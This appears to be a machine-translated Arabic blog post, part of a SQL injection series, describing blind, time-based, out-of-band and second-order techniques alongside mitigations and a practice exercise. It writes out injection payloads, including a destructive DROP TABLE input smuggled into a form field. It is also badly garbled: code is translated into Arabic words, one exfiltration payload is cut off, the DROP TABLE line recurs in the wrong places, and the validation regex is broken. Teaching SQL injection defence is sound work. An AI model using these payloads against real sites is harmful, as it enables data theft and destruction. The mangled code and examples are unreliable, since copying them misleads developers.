أداة Waymap Pentesting: انقر هنا Trixsec Github: انقر هنا

Trixsec Telegram: انقر هنا

مستغلات حقن SQL المتقدمة-الجزء 7: التقنيات المتطورة والوقاية

مرحبًا بكم في الجزء 7 من سلسلة حقن SQL الخاصة بنا! تتعمق هذه الدفعة في تقنيات حقن SQL المتقدمة تستخدمها المهاجمون وتوفر استراتيجيات عملية لمواجهةها. مع تطور التهديدات ، يعد فهم هذه الأساليب المتطورة أمرًا بالغ الأهمية للبقاء في المقدمة.

1. تقنيات حقن SQL المتقدمة

---

1.1. حقن SQL خارج النطاق

يتم استخدام حقن خارج النطاق (OOB) عندما لا يستطيع المهاجم مراقبة نتائج الحمولة الصافية مباشرة. بدلاً من ذلك ، يعتمدون على طلبات DNS أو HTTP للاختبار البيانات.

كيف يعمل

: يؤدي الحمولة النافعة إلى استعلام يرسل البيانات إلى خادم يتحكم فيه المهاجم. على سبيل المثال:

• حدد * من المستخدمين أين> يستغل النافعة أعلاه SQL Server XP_Dirtree لتقديم طلب DNS خارجي.

  SELECT * FROM users WHERE>



The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.  

• Real-World Example:
  
  In 2019, attackers used OOB techniques to bypass traditional defenses and exfiltrate sensitive data from a government database.

• Mitigation:

  • Block outbound DNS/HTTP requests from the database.
  • Use network monitoring tools to detect unusual outbound traffic.

---

1.2. Boolean-Based Blind SQL Injection

This method determines true or false conditions based on subtle changes in the application's behavior.

• Example Payload:

  ' AND 1=1 -- True condition  
  ' AND 1=2 -- False condition  

الاستخدام

:

• يعدد المهاجمون قواعد البيانات أو الجداول أو الأعمدة بت واحد في وقت واحد باستخدام استعلامات مشروطة.
  
  

  mitigation
:

• استخدم الاستعلامات المعلمة أو أطر ORM.

  نشر جدران حماية تطبيق الويب (WAFS) مع مجموعات القواعد للكشف عن حقن SQL الأعمى.
1.3. حقن SQL الأعمى القائم على الوقت

---

تستخدم هذه التقنية التأخير لاستنتاج البيانات. يلاحظ المهاجم المدة التي يستغرقها الخادم للرد.

مثال على الحمولة النافعة

:

• حدد if (1 = 1 ، النوم (5) ، 0) ؛ - تأخير الاستجابة بمقدار 5 ثوانٍ

  SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds  

تأثير

:

• يمكن أن تشل الاستعلامات البطيئة أداء الخادم ، مما يسبب رفض الخدمة.
  
  

  mitigation
:

• استخدم الحد من المعدل لمنع الطلبات المفرطة.

  مراقبة وإنهاء الاستعلامات طويلة الأجل.
1.4. حقن SQL من الدرجة الثانية

---

في هذه التقنية ، يتم تخزين الحمولات الضارة في قاعدة البيانات وتشغيلها أثناء إجراء لاحق ، مثل مراجعة المسؤول.

مثال سيناريو

:

• يدخل المهاجم هذه الحمولة في نموذج:

  روبرت ') ؛ إسقاط مستخدمي الجدول ؛ -
  أثناء المراجعة ، يقوم التطبيق بتنفيذ الحمولة المخزنة.

  Robert'); DROP TABLE users; --  
  

  mitigation
:

• الهروب وتطهير المدخلات في كل مرحلة ، حتى أثناء الاسترجاع.

  استخدم وظائف قاعدة البيانات غير القابلة للتغيير لمنع تنفيذ البرامج النصية الضارة.
2. دراسات حالة العالم الحقيقي

---

دراسة الحالة 1: ضعف Magento (CVE-2019-8144)

حادثة:

استغل المهاجمون ضعف حقن SQL القائم على الوقت في منصة التجارة الإلكترونية في Magento.

تجاوزوا المصادقة واكتدوا الوصول إلى بيانات العميل الحساسة.

• دروس التخفيف
:

تصحيح البرامج بانتظام لمعالجة نقاط الضعف المعروفة.

قم بإجراء اختبار الأمان على الإضافات والتمديدات الطرف الثالث.

• دراسة الحالة 2: Shopify (2020 Bug Bounty)

حادثة:

حدد باحث أمني ضعف حقن OOB SQL في واجهة برمجة تطبيقات Shopify ، والتي يمكن أن تتسرب البيانات الحساسة عبر DNS.

تم القبض عليه قبل الاستغلال ، وذلك بفضل برنامج Bug Bounty الخاص بـ Shopify.

• دروس التخفيف
:

استثمر في برامج Bug Bounty لتشجيع الإبلاغ عن الضعف الأخلاقي.

الاستفادة من بوابات API لفرض التحقق الصارم للاستعلام.

3. استراتيجيات دفاعية متقدمة

---

3.1. تحليل الاستعلام الديناميكي

استخدم الأدوات التي تراقب استعلامات قاعدة البيانات للأنماط غير العادية أو التعقيد المفرط.

أدوات

:

• sqlmap: لاختبار أنظمتك. Aqua Security أو Imperva: لحماية وقت التشغيل.
  3.2. التحقق من صحة السياق

فرض قواعد التحقق من الصحة بناءً على السياق:

تسجيلات تسجيل الدخول

: التحقق من صحة بيانات الاعتماد للسماح فقط بالقيم الأبجدية الرقمية.

• نماذج البحث : تطهير المدخلات لاستبعاد مشغلي SQL مثل Select أو Union.
• 3.3. تكوينات خاصة بقاعدة البيانات

تمكين ميزات مثل وضع الكشف عن حقن SQL

في mysql.

• استخدم مرشحات SecComp في postgreSQL لتقييد العمليات الخطرة.
• 3.4. اختبار الاختراق المستمر

محاكاة الهجمات لتحديد نقاط الضعف قبل أن يفعل المهاجمون.

أتمتة مع خطوط أنابيب CI/CD باستخدام أدوات مثل OWASP ZAP أو مجموعة التجشؤ.

4. التحدي العملي: محاكاة الاستغلال والدفاع

---

سيناريو

يتيح موقع التجارة الإلكترونية للمستخدمين البحث عن المنتجات باستخدام حقل إدخال. اختبار وتأمينه.

الخطوات

:

حقن حمولة حمولة للكشف عن قابلية حقن SQL:

'أو' 1 '=' 1 ' -

إذا كان الموقع ضعيفًا ، فاستخدم أدوات آلية مثل SQLMAP لمحاكاة استخراج البيانات.

Robert'); DROP TABLE users; --  

1. إصلاح دفاعي
:

تنفيذ عبارات معدّة:

$ stmt = $ pdo-> إعداد ("حدد * من المنتجات حيث name =: name") ؛ $ stmt-> execute (['name' => $ product_name]) ؛

التحقق من صحة الإدخال باستخدام نمط صارم:

Robert'); DROP TABLE users; --  

استيراد إعادة pattern = r "^[A-ZA-Z0-9] $" إذا لم يكن إعادة red.match (نمط ، user_input): رفع القيمة ("إدخال غير صالح!")

  import re
  pattern = r"^[a-zA-Z0-9 ] $"
  if not re.match(pattern, user_input):
      raise ValueError("Invalid input!")

---

5.1. مآثر السحابة

يتم استهداف قواعد البيانات المستندة إلى مجموعة النظراء بشكل متزايد بسبب سوء التكوينات.

5.2. أدوات الضعف API

مع ظهور الخدمات المجهرية ، تعد واجهات برمجة التطبيقات المصممة بشكل سيء نقطة دخول للمهاجمين.

5.3. الهجمات التي تحركها AI

الأدوات الآلية للاستفادة من الذكاء الاصطناعي لصياغة حمولات الحقن المعقدة.

الأفكار النهائية

---

تبرز هذه الجلسة المتقدمة الطبيعة المتطورة لحقن SQL وأهمية الدفاع الاستباقي. من خلال فهم التقنيات المتطورة وتنفيذ تدابير أمنية قوية ، يمكنك تقليل مخاطر الاستغلال بشكل كبير. ~ Trixsec